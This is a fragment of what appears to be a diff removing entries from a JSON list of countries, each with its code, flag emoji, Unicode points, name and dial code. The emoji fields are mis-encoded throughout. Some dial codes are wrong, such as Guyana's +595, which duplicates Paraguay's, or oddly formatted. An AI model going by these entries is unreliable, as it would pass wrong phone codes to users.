"dialCode": "+1 849" - }, - { - "code": "DZ", - "emoji": "๐Ÿ‡ฉ๐Ÿ‡ฟ", - "unicode": "U+1F1E9 U+1F1FF", - "name": "Algeria", - "title": "flag for Algeria", - "dialCode": "+213" - }, - { - "code": "EC", - "emoji": "๐Ÿ‡ช๐Ÿ‡จ", - "unicode": "U+1F1EA U+1F1E8", - "name": "Ecuador", - "title": "flag for Ecuador", - "dialCode": "+593" - }, - { - "code": "EE", - "emoji": "๐Ÿ‡ช๐Ÿ‡ช", - "unicode": "U+1F1EA U+1F1EA", - "name": "Estonia", - "title": "flag for Estonia", - "dialCode": "+372" - }, - { - "code": "EG", - "emoji": "๐Ÿ‡ช๐Ÿ‡ฌ", - "unicode": "U+1F1EA U+1F1EC", - "name": "Egypt", - "title": "flag for Egypt", - "dialCode": "+20" - }, - { - "code": "EH", - "emoji": "๐Ÿ‡ช๐Ÿ‡ญ", - "unicode": "U+1F1EA U+1F1ED", - "name": "Western Sahara", - "title": "flag for Western Sahara" - }, - { - "code": "ER", - "emoji": "๐Ÿ‡ช๐Ÿ‡ท", - "unicode": "U+1F1EA U+1F1F7", - "name": "Eritrea", - "title": "flag for Eritrea", - "dialCode": "+291" - }, - { - "code": "ES", - "emoji": "๐Ÿ‡ช๐Ÿ‡ธ", - "unicode": "U+1F1EA U+1F1F8", - "name": "Spain", - "title": "flag for Spain", - "dialCode": "+34" - }, - { - "code": "ET", - "emoji": "๐Ÿ‡ช๐Ÿ‡น", - "unicode": "U+1F1EA U+1F1F9", - "name": "Ethiopia", - "title": "flag for Ethiopia", - "dialCode": "+251" - }, - { - "code": "EU", - "emoji": "๐Ÿ‡ช๐Ÿ‡บ", - "unicode": "U+1F1EA U+1F1FA", - "name": "European Union", - "title": "flag for European Union" - }, - { - "code": "FI", - "emoji": "๐Ÿ‡ซ๐Ÿ‡ฎ", - "unicode": "U+1F1EB U+1F1EE", - "name": "Finland", - "title": "flag for Finland", - "dialCode": "+358" - }, - { - "code": "FJ", - "emoji": "๐Ÿ‡ซ๐Ÿ‡ฏ", - "unicode": "U+1F1EB U+1F1EF", - "name": "Fiji", - "title": "flag for Fiji", - "dialCode": "+679" - }, - { - "code": "FK", - "emoji": "๐Ÿ‡ซ๐Ÿ‡ฐ", - "unicode": "U+1F1EB U+1F1F0", - "name": "Falkland Islands (Malvinas)", - "title": "flag for Falkland Islands (Malvinas)", - "dialCode": "+500" - }, - { - "code": "FM", - "emoji": "๐Ÿ‡ซ๐Ÿ‡ฒ", - "unicode": "U+1F1EB U+1F1F2", - "name": "Micronesia", - "title": "flag for Micronesia", - "dialCode": "+691" - }, - { - "code": "FO", - "emoji": "๐Ÿ‡ซ๐Ÿ‡ด", - "unicode": "U+1F1EB U+1F1F4", - "name": "Faroe Islands", - "title": "flag for Faroe Islands", - "dialCode": "+298" - }, - { - "code": "FR", - "emoji": "๐Ÿ‡ซ๐Ÿ‡ท", - "unicode": "U+1F1EB U+1F1F7", - "name": "France", - "title": "flag for France", - "dialCode": "+33" - }, - { - "code": "GA", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฆ", - "unicode": "U+1F1EC U+1F1E6", - "name": "Gabon", - "title": "flag for Gabon", - "dialCode": "+241" - }, - { - "code": "GB", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ง", - "unicode": "U+1F1EC U+1F1E7", - "name": "United Kingdom", - "title": "flag for United Kingdom", - "dialCode": "+44" - }, - { - "code": "GD", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฉ", - "unicode": "U+1F1EC U+1F1E9", - "name": "Grenada", - "title": "flag for Grenada", - "dialCode": "+1 473" - }, - { - "code": "GE", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ช", - "unicode": "U+1F1EC U+1F1EA", - "name": "Georgia", - "title": "flag for Georgia", - "dialCode": "+995" - }, - { - "code": "GF", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ซ", - "unicode": "U+1F1EC U+1F1EB", - "name": "French Guiana", - "title": "flag for French Guiana", - "dialCode": "+594" - }, - { - "code": "GG", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฌ", - "unicode": "U+1F1EC U+1F1EC", - "name": "Guernsey", - "title": "flag for Guernsey", - "dialCode": "+44" - }, - { - "code": "GH", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ญ", - "unicode": "U+1F1EC U+1F1ED", - "name": "Ghana", - "title": "flag for Ghana", - "dialCode": "+233" - }, - { - "code": "GI", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฎ", - "unicode": "U+1F1EC U+1F1EE", - "name": "Gibraltar", - "title": "flag for Gibraltar", - "dialCode": "+350" - }, - { - "code": "GL", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฑ", - "unicode": "U+1F1EC U+1F1F1", - "name": "Greenland", - "title": "flag for Greenland", - "dialCode": "+299" - }, - { - "code": "GM", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ฒ", - "unicode": "U+1F1EC U+1F1F2", - "name": "Gambia", - "title": "flag for Gambia", - "dialCode": "+220" - }, - { - "code": "GN", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ณ", - "unicode": "U+1F1EC U+1F1F3", - "name": "Guinea", - "title": "flag for Guinea", - "dialCode": "+224" - }, - { - "code": "GP", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ต", - "unicode": "U+1F1EC U+1F1F5", - "name": "Guadeloupe", - "title": "flag for Guadeloupe", - "dialCode": "+590" - }, - { - "code": "GQ", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ถ", - "unicode": "U+1F1EC U+1F1F6", - "name": "Equatorial Guinea", - "title": "flag for Equatorial Guinea", - "dialCode": "+240" - }, - { - "code": "GR", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ท", - "unicode": "U+1F1EC U+1F1F7", - "name": "Greece", - "title": "flag for Greece", - "dialCode": "+30" - }, - { - "code": "GS", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ธ", - "unicode": "U+1F1EC U+1F1F8", - "name": "South Georgia", - "title": "flag for South Georgia", - "dialCode": "+500" - }, - { - "code": "GT", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡น", - "unicode": "U+1F1EC U+1F1F9", - "name": "Guatemala", - "title": "flag for Guatemala", - "dialCode": "+502" - }, - { - "code": "GU", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡บ", - "unicode": "U+1F1EC U+1F1FA", - "name": "Guam", - "title": "flag for Guam", - "dialCode": "+1 671" - }, - { - "code": "GW", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡ผ", - "unicode": "U+1F1EC U+1F1FC", - "name": "Guinea-Bissau", - "title": "flag for Guinea-Bissau", - "dialCode": "+245" - }, - { - "code": "GY", - "emoji": "๐Ÿ‡ฌ๐Ÿ‡พ", - "unicode": "U+1F1EC U+1F1FE", - "name": "Guyana", - "title": "flag for Guyana", - "dialCode": "+595" - }, - { - "code": "HK", - "emoji": "๐Ÿ‡ญ๐Ÿ‡ฐ", - "unicode": "U+1F1ED U+1F1F0", - "name": "Hong Kong", - "title": "flag for Hong Kong", - "dialCode": "+852" - }, - { - "code": "HM", - "emoji": "๐Ÿ‡ญ๐Ÿ‡ฒ", - "unicode": "U+1F1ED U+1F1F2", - "name": "Heard Island and Mcdonald Islands", - "title": "flag for Heard Island and Mcdonald Islands" - }, - { - "code": "HN", - "emoji": "๐Ÿ‡ญ๐Ÿ‡ณ", - "unicode": "U+1F1ED U+1F1F3", - "name": "Honduras", - "title": "flag for Honduras", - "dialCode": "+504" - }, - { - "code": "HR", - "emoji": "๐Ÿ‡ญ๐Ÿ‡ท", - "unicode": "U+1F1ED U+1F1F7", - "name": "Croatia", - "title": "flag for Croatia", - "dialCode": "+385" - }, - { - "code": "HT", - "emoji": "๐Ÿ‡ญ๐Ÿ‡น", - "unicode": "U+1F1ED U+1F1F9", - "name": "Haiti", - "title": "flag for Haiti", - "dialCode": "+509" - }, - { - "code": "HU", - "emoji": "๐Ÿ‡ญ๐Ÿ‡บ", - "unicode": "U+1F1ED U+1F1FA", - "name": "Hungary", - "title": "flag for Hungary", - "dialCode": "+36" - }, - { - "code": "ID", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ฉ", - "unicode": "U+1F1EE U+1F1E9", - "name": "Indonesia", - "title": "flag for Indonesia", - "dialCode": "+62" - }, - { - "code": "IE", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ช", - "unicode": "U+1F1EE U+1F1EA", - "name": "Ireland", - "title": "flag for Ireland", - "dialCode": "+353" - }, - { - "code": "IL", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ฑ", - "unicode": "U+1F1EE U+1F1F1", - "name": "Israel", - "title": "flag for Israel", - "dialCode": "+972" - }, - { - "code": "IM", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ฒ", - "unicode": "U+1F1EE U+1F1F2", - "name": "Isle of Man", - "title": "flag for Isle of Man", - "dialCode": "+44" - }, - { - "code": "IN", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ณ", - "unicode": "U+1F1EE U+1F1F3", - "name": "India", - "title": "flag for India", - "dialCode": "+91" - }, - { - "code": "IO", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ด", - "unicode": "U+1F1EE U+1F1F4", - "name": "British Indian Ocean Territory", - "title": "flag for British Indian Ocean Territory", - "dialCode": "+246" - }, - { - "code": "IQ", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ถ", - "unicode": "U+1F1EE U+1F1F6", - "name": "Iraq", - "title": "flag for Iraq", - "dialCode": "+964" - }, - { - "code": "IR", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ท", - "unicode": "U+1F1EE U+1F1F7", - "name": "Iran", - "title": "flag for Iran", - "dialCode": "+98" - }, - { - "code": "IS", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡ธ", - "unicode": "U+1F1EE U+1F1F8", - "name": "Iceland", - "title": "flag for Iceland", - "dialCode": "+354" - }, - { - "code": "IT", - "emoji": "๐Ÿ‡ฎ๐Ÿ‡น", - "unicode": "U+1F1EE U+1F1F9", - "name": "Italy", - "title": "flag for Italy", - "dialCode": "+39" - }, - { - "code": "JE", - "emoji": "๐Ÿ‡ฏ๐Ÿ‡ช", - "unicode": "U+1F1EF U+1F1EA", - "name": "Jersey", - "title": "flag for Jersey", - "dialCode": "+44" - }, - { - "code": "JM", - "emoji": "๐Ÿ‡ฏ๐Ÿ‡ฒ", - "unicode": "U+1F1EF U+1F1F2", - "name": "Jamaica", - "title": "flag for Jamaica", - "dialCode": "+1 876" - }, - { - "code": "JO", - "emoji": "๐Ÿ‡ฏ๐Ÿ‡ด", - "unicode": "U+1F1EF U+1F1F4", - "name": "Jordan", - "title": "flag for Jordan", - "dialCode": "+962" - }, - { - "code": "JP", - "emoji": "๐Ÿ‡ฏ๐Ÿ‡ต", - "unicode": "U+1F1EF U+1F1F5", - "name": "Japan", - "title": "flag for Japan", - "dialCode": "+81" - }, - { - "code": "KE", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ช", - "unicode": "U+1F1F0 U+1F1EA", - "name": "Kenya", - "title": "flag for Kenya", - "dialCode": "+254" - }, - { - "code": "KG", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฌ", - "unicode": "U+1F1F0 U+1F1EC", - "name": "Kyrgyzstan", - "title": "flag for Kyrgyzstan", - "dialCode": "+996" - }, - { - "code": "KH", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ญ", - "unicode": "U+1F1F0 U+1F1ED", - "name": "Cambodia", - "title": "flag for Cambodia", - "dialCode": "+855" - }, - { - "code": "KI", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฎ", - "unicode": "U+1F1F0 U+1F1EE", - "name": "Kiribati", - "title": "flag for Kiribati", - "dialCode": "+686" - }, - { - "code": "KM", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฒ", - "unicode": "U+1F1F0 U+1F1F2", - "name": "Comoros", - "title": "flag for Comoros", - "dialCode": "+269" - }, - { - "code": "KN", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ณ", - "unicode": "U+1F1F0 U+1F1F3", - "name": "Saint Kitts and Nevis", - "title": "flag for Saint Kitts and Nevis", - "dialCode": "+1 869" - }, - { - "code": "KP", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ต", - "unicode": "U+1F1F0 U+1F1F5", - "name": "North Korea", - "title": "flag for North Korea", - "dialCode": "+850" - }, - { - "code": "KR", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ท", - "unicode": "U+1F1F0 U+1F1F7", - "name": "South Korea", - "title": "flag for South Korea", - "dialCode": "+82" - }, - { - "code": "KW", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ผ", - "unicode": "U+1F1F0 U+1F1FC", - "name": "Kuwait", - "title": "flag for Kuwait", - "dialCode": "+965" - }, - { - "code": "KY", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡พ", - "unicode": "U+1F1F0 U+1F1FE", - "name": "Cayman Islands", - "title": "flag for Cayman Islands", - "dialCode": "+ 345" - }, - { - "code": "KZ", - "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฟ", - "unicode": "U+1F1F0 U+1F1FF", - "name": "Kazakhstan", - "title": "flag for Kazakhstan", - "dialCode": "+7 7" - }, - { - "code": "LA", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ฆ", - "unicode": "U+1F1F1 U+1F1E6", - "name": "Lao People's Democratic Republic", - "title": "flag for Lao People's Democratic Republic", - "dialCode": "+856" - }, - { - "code": "LB", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ง", - "unicode": "U+1F1F1 U+1F1E7", - "name": "Lebanon", - "title": "flag for Lebanon", - "dialCode": "+961" - }, - { - "code": "LC", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡จ", - "unicode": "U+1F1F1 U+1F1E8", - "name": "Saint Lucia", - "title": "flag for Saint Lucia", - "dialCode": "+1 758" - }, - { - "code": "LI", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ฎ", - "unicode": "U+1F1F1 U+1F1EE", - "name": "Liechtenstein", - "title": "flag for Liechtenstein", - "dialCode": "+423" - }, - { - "code": "LK", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ฐ", - "unicode": "U+1F1F1 U+1F1F0", - "name": "Sri Lanka", - "title": "flag for Sri Lanka", - "dialCode": "+94" - }, - { - "code": "LR", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ท", - "unicode": "U+1F1F1 U+1F1F7", - "name": "Liberia", - "title": "flag for Liberia", - "dialCode": "+231" - }, - { - "code": "LS", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ธ", - "unicode": "U+1F1F1 U+1F1F8", - "name": "Lesotho", - "title": "flag for Lesotho", - "dialCode": "+266" - }, - { - "code": "LT", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡น", - "unicode": "U+1F1F1 U+1F1F9", - "name": "Lithuania", - "title": "flag for Lithuania", - "dialCode": "+370" - }, - { - "code": "LU", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡บ", - "unicode": "U+1F1F1 U+1F1FA", - "name": "Luxembourg", - "title": "flag for Luxembourg", - "dialCode": "+352" - }, - { - "code": "LV", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡ป", - "unicode": "U+1F1F1 U+1F1FB", - "name": "Latvia", - "title": "flag for Latvia", - "dialCode": "+371" - }, - { - "code": "LY", - "emoji": "๐Ÿ‡ฑ๐Ÿ‡พ", - "unicode": "U+1F1F1 U+1F1FE", - "name": "Libya", - "title": "flag for Libya", - "dialCode": "+218" - }, - { - "code": "MA", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฆ", - "unicode": "U+1F1F2 U+1F1E6", - "name": "Morocco", - "title": "flag for Morocco", - "dialCode": "+212" - }, - { - "code": "MC", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡จ", - "unicode": "U+1F1F2 U+1F1E8", - "name": "Monaco", - "title": "flag for Monaco", - "dialCode": "+377" - }, - { - "code": "MD", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฉ", - "unicode": "U+1F1F2 U+1F1E9", - "name": "Moldova", - "title": "flag for Moldova", - "dialCode": "+373" - }, - { - "code": "ME", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ช", - "unicode": "U+1F1F2 U+1F1EA", - "name": "Montenegro", - "title": "flag for Montenegro", - "dialCode": "+382" - }, - { - "code": "MF", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ซ", - "unicode": "U+1F1F2 U+1F1EB", - "name": "Saint Martin (French Part)", - "title": "flag for Saint Martin (French Part)", - "dialCode": "+590" - }, - { - "code": "MG", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฌ", - "unicode": "U+1F1F2 U+1F1EC", - "name": "Madagascar", - "title": "flag for Madagascar", - "dialCode": "+261" - }, - { - "code": "MH", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ญ", - "unicode": "U+1F1F2 U+1F1ED", - "name": "Marshall Islands", - "title": "flag for Marshall Islands", - "dialCode": "+692" - }, - { - "code": "MK", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฐ", - "unicode": "U+1F1F2 U+1F1F0", - "name": "Macedonia", - "title": "flag for Macedonia", - "dialCode": "+389" - }, - { - "code": "ML", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฑ", - "unicode": "U+1F1F2 U+1F1F1", - "name": "Mali", - "title": "flag for Mali", - "dialCode": "+223" - }, - { - "code": "MM", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฒ", - "unicode": "U+1F1F2 U+1F1F2", - "name": "Myanmar", - "title": "flag for Myanmar", - "dialCode": "+95" - }, - { - "code": "MN", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ณ", - "unicode": "U+1F1F2 U+1F1F3", - "name": "Mongolia", - "title": "flag for Mongolia", - "dialCode": "+976" - }, - { - "code": "MO", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ด", - "unicode": "U+1F1F2 U+1F1F4", - "name": "Macao", - "title": "flag for Macao", - "dialCode": "+853" - }, - { - "code": "MP", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ต", - "unicode": "U+1F1F2 U+1F1F5", - "name": "Northern Mariana Islands", - "title": "flag for Northern Mariana Islands", - "dialCode": "+1 670" - }, - { - "code": "MQ", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ถ", - "unicode": "U+1F1F2 U+1F1F6", - "name": "Martinique", - "title": "flag for Martinique", - "dialCode": "+596" - }, - { - "code": "MR", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ท", - "unicode": "U+1F1F2 U+1F1F7", - "name": "Mauritania", - "title": "flag for Mauritania", - "dialCode": "+222" - }, - { - "code": "MS", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ธ", - "unicode": "U+1F1F2 U+1F1F8", - "name": "Montserrat", - "title": "flag for Montserrat", - "dialCode": "+1664" - }, - { - "code": "MT", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡น", - "unicode": "U+1F1F2 U+1F1F9", - "name": "Malta", - "title": "flag for Malta", - "dialCode": "+356" - }, - { - "code": "MU", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡บ", - "unicode": "U+1F1F2 U+1F1FA", - "name": "Mauritius", - "title": "flag for Mauritius", - "dialCode": "+230" - }, - { - "code": "MV", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ป", - "unicode": "U+1F1F2 U+1F1FB", - "name": "Maldives", - "title": "flag for Maldives", - "dialCode": "+960" - }, - { - "code": "MW", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ผ", - "unicode": "U+1F1F2 U+1F1FC", - "name": "Malawi", - "title": "flag for Malawi", - "dialCode": "+265" - }, - { - "code": "MX", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฝ", - "unicode": "U+1F1F2 U+1F1FD", - "name": "Mexico", - "title": "flag for Mexico", - "dialCode": "+52" - }, - { - "code": "MY", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡พ", - "unicode": "U+1F1F2 U+1F1FE", - "name": "Malaysia", - "title": "flag for Malaysia", - "dialCode": "+60" - }, - { - "code": "MZ", - "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฟ", - "unicode": "U+1F1F2 U+1F1FF", - "name": "Mozambique", - "title": "flag for Mozambique", - "dialCode": "+258" - }, - { - "code": "NA", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ฆ", - "unicode": "U+1F1F3 U+1F1E6", - "name": "Namibia", - "title": "flag for Namibia", - "dialCode": "+264" - }, - { - "code": "NC", - "emoji": "๐Ÿ‡ณ๐Ÿ‡จ", - "unicode": "U+1F1F3 U+1F1E8", - "name": "New Caledonia", - "title": "flag for New Caledonia", - "dialCode": "+687" - }, - { - "code": "NE", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ช", - "unicode": "U+1F1F3 U+1F1EA", - "name": "Niger", - "title": "flag for Niger", - "dialCode": "+227" - }, - { - "code": "NF", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ซ", - "unicode": "U+1F1F3 U+1F1EB", - "name": "Norfolk Island", - "title": "flag for Norfolk Island", - "dialCode": "+672" - }, - { - "code": "NG", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ฌ", - "unicode": "U+1F1F3 U+1F1EC", - "name": "Nigeria", - "title": "flag for Nigeria", - "dialCode": "+234" - }, - { - "code": "NI", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ฎ", - "unicode": "U+1F1F3 U+1F1EE", - "name": "Nicaragua", - "title": "flag for Nicaragua", - "dialCode": "+505" - }, - { - "code": "NL", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ฑ", - "unicode": "U+1F1F3 U+1F1F1", - "name": "Netherlands", - "title": "flag for Netherlands", - "dialCode": "+31" - }, - { - "code": "NO", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ด", - "unicode": "U+1F1F3 U+1F1F4", - "name": "Norway", - "title": "flag for Norway", - "dialCode": "+47" - }, - { - "code": "NP", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ต", - "unicode": "U+1F1F3 U+1F1F5", - "name": "Nepal", - "title": "flag for Nepal", - "dialCode": "+977" - }, - { - "code": "NR", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ท", - "unicode": "U+1F1F3 U+1F1F7", - "name": "Nauru", - "title": "flag for Nauru", - "dialCode": "+674" - }, - { - "code": "NU", - "emoji": "๐Ÿ‡ณ๐Ÿ‡บ", - "unicode": "U+1F1F3 U+1F1FA", - "name": "Niue", - "title": "flag for Niue", - "dialCode": "+683" - }, - { - "code": "NZ", - "emoji": "๐Ÿ‡ณ๐Ÿ‡ฟ", - "unicode": "U+1F1F3 U+1F1FF", - "name": "New Zealand", - "title": "flag for New Zealand", - "dialCode": "+64" - }, - { - "code": "OM", - "emoji": "๐Ÿ‡ด๐Ÿ‡ฒ", - "unicode": "U+1F1F4 U+1F1F2", - "name": "Oman", - "title": "flag for Oman", - "dialCode": "+968" - }, - { - "code": "PA", - "emoji": "๐Ÿ‡ต๐Ÿ‡ฆ", - "unicode": "U+1F1F5 U+1F1E6", - "name": "Panama", - "title": "flag for Panama", - "dialCode": "+507" - }, - { - "code": "PE", - "emoji": "๐Ÿ‡ต๐Ÿ‡ช", - "unicode": "U+1F1F5 U+1F1EA", - "name": "Peru", - "title": "flag for Peru", - "dialCode": "+51" - }, - { - "code": "PF", - "emoji": "๐Ÿ‡ต๐Ÿ‡ซ", - "unicode": "U+1F1F5 U+1F1EB", - "name": "French Polynesia", - "title": "flag for French Polynesia", - "dialCode": "+689" - }, - { - "code": "PG", - "emoji": "๐Ÿ‡ต๐Ÿ‡ฌ", - "unicode": "U+1F1F5 U+1F1EC", - "name": "Papua New Guinea", - "title": "flag for Papua New Guinea", - "dialCode": "+675" - }, - { - "code": "PH", - "emoji": "๐Ÿ‡ต๐Ÿ‡ญ", - "unicode": "U+1F1F5 U+1F1ED", - "name": "Philippines", - "title": "flag for Philippines", - "dialCode": "+63" - }, - { - "code": "PK", - "emoji": "๐Ÿ‡ต๐Ÿ‡ฐ", - "unicode": "U+1F1F5 U+1F1F0", - "name": "Pakistan", - "title": "flag for Pakistan", - "dialCode": "+92" - }, - { - "code": "PL", - "emoji": "๐Ÿ‡ต๐Ÿ‡ฑ", - "unicode": "U+1F1F5 U+1F1F1", - "name": "Poland", - "title": "flag for Poland", - "dialCode": "+48" - }, - { - "code": "PM", - "emoji": "๐Ÿ‡ต๐Ÿ‡ฒ", - "unicode": "U+1F1F5 U+1F1F2", - "name": "Saint Pierre and Miquelon", - "title": "flag for Saint Pierre and Miquelon", - "dialCode": "+508" - }, - { - "code": "PN", - "emoji": "๐Ÿ‡ต๐Ÿ‡ณ", - "unicode": "U+1F1F5 U+1F1F3", - "name": "Pitcairn", - "title": "flag for Pitcairn", - "dialCode": "+872" - }, - { - "code": "PR", - "emoji": "๐Ÿ‡ต๐Ÿ‡ท", - "unicode": "U+1F1F5 U+1F1F7", - "name": "Puerto Rico", - "title": "flag for Puerto Rico", - "dialCode": "+1 939" - }, - { - "code": "PS", - "emoji": "๐Ÿ‡ต๐Ÿ‡ธ", - "unicode": "U+1F1F5 U+1F1F8", - "name": "Palestinian Territory", - "title": "flag for Palestinian Territory", - "dialCode": "+970" - }, - { - "code": "PT", - "emoji": "๐Ÿ‡ต๐Ÿ‡น", - "unicode": "U+1F1F5 U+1F1F9", - "name": "Portugal", - "title": "flag for Portugal", - "dialCode": "+351" - }, - { - "code": "PW", - "emoji": "๐Ÿ‡ต๐Ÿ‡ผ", - "unicode": "U+1F1F5 U+1F1FC", - "name": "Palau", - "title": "flag for Palau", - "dialCode": "+680" - }, - { - "code": "PY", - "emoji": "๐Ÿ‡ต๐Ÿ‡พ", - "unicode": "U+1F1F5 U+1F1FE", - "name": "Paraguay", - "title": "flag for Paraguay", - "dialCode": "+595" - }, - { - "code": "QA", - "emoji": "๐Ÿ‡ถ๐Ÿ‡ฆ", - "unicode": "U+1F1F6 U+1F1E6", - "name": "Qatar", - "title": "flag for Qatar", - "dialCode": "+974" - }, - { - "code": "RE", - "emoji": "๐Ÿ‡ท๐Ÿ‡ช", - "unicode": "U+1F1F7 U+1F1EA", - "name": "Rรฉunion", - "title": "flag for Rรฉunion", - "dialCode": "+262" - }, - { - "code": "RO", - "emoji": "๐Ÿ‡ท๐Ÿ‡ด", - "unicode": "U+1F1F7 U+1F1F4", - "name": "Romania", - "title": "flag for Romania", - "dialCode": "+40" - }, - { - "code": "RS", - "emoji": "๐Ÿ‡ท๐Ÿ‡ธ", - "unicode": "U+1F1F7 U+1F1F8", - "name": "Serbia", - "title": "flag for Serbia", - "dialCode": "+381" - }, - { - "code": "RU", - "emoji": "๐Ÿ‡ท๐Ÿ‡บ", - "unicode": "U+1F1F7 U+1F1FA", - "name": "Russia", - "title": "flag for Russia", - "dialCode": "+7" - }, - { - "code": "RW", - "emoji": "๐Ÿ‡ท๐Ÿ‡ผ", - "unicode": "U+1F1F7 U+1F1FC", - "name": "Rwanda", - "title": "flag for Rwanda", - "dialCode": "+250" - }, - { - "code": "SA", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฆ", - "unicode": "U+1F1F8 U+1F1E6", - "name": "Saudi Arabia", - "title": "flag for Saudi Arabia", - "dialCode": "+966" - }, - { - "code": "SB", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ง", - "unicode": "U+1F1F8 U+1F1E7", - "name": "Solomon Islands", - "title": "flag for Solomon Islands", - "dialCode": "+677" - }, - { - "code": "SC", - "emoji": "๐Ÿ‡ธ๐Ÿ‡จ", - "unicode": "U+1F1F8 U+1F1E8", - "name": "Seychelles", - "title": "flag for Seychelles", - "dialCode": "+248" - }, - { - "code": "SD", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฉ", - "unicode": "U+1F1F8 U+1F1E9", - "name": "Sudan", - "title": "flag for Sudan", - "dialCode": "+249" - }, - { - "code": "SE", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ช", - "unicode": "U+1F1F8 U+1F1EA", - "name": "Sweden", - "title": "flag for Sweden", - "dialCode": "+46" - }, - { - "code": "SG", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฌ", - "unicode": "U+1F1F8 U+1F1EC", - "name": "Singapore", - "title": "flag for Singapore", - "dialCode": "+65" - }, - { - "code": "SH", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ญ", - "unicode": "U+1F1F8 U+1F1ED", - "name": "Saint Helena, Ascension and Tristan Da Cunha", - "title": "flag for Saint Helena, Ascension and Tristan Da Cunha", - "dialCode": "+290" - }, - { - "code": "SI", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฎ", - "unicode": "U+1F1F8 U+1F1EE", - "name": "Slovenia", - "title": "flag for Slovenia", - "dialCode": "+386" - }, - { - "code": "SJ", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฏ", - "unicode": "U+1F1F8 U+1F1EF", - "name": "Svalbard and Jan Mayen", - "title": "flag for Svalbard and Jan Mayen", - "dialCode": "+47" - }, - { - "code": "SK", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฐ", - "unicode": "U+1F1F8 U+1F1F0", - "name": "Slovakia", - "title": "flag for Slovakia", - "dialCode": "+421" - }, - { - "code": "SL", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฑ", - "unicode": "U+1F1F8 U+1F1F1", - "name": "Sierra Leone", - "title": "flag for Sierra Leone", - "dialCode": "+232" - }, - { - "code": "SM", - "emoji": "๐Ÿ‡ธ๐Ÿ‡ฒ", - 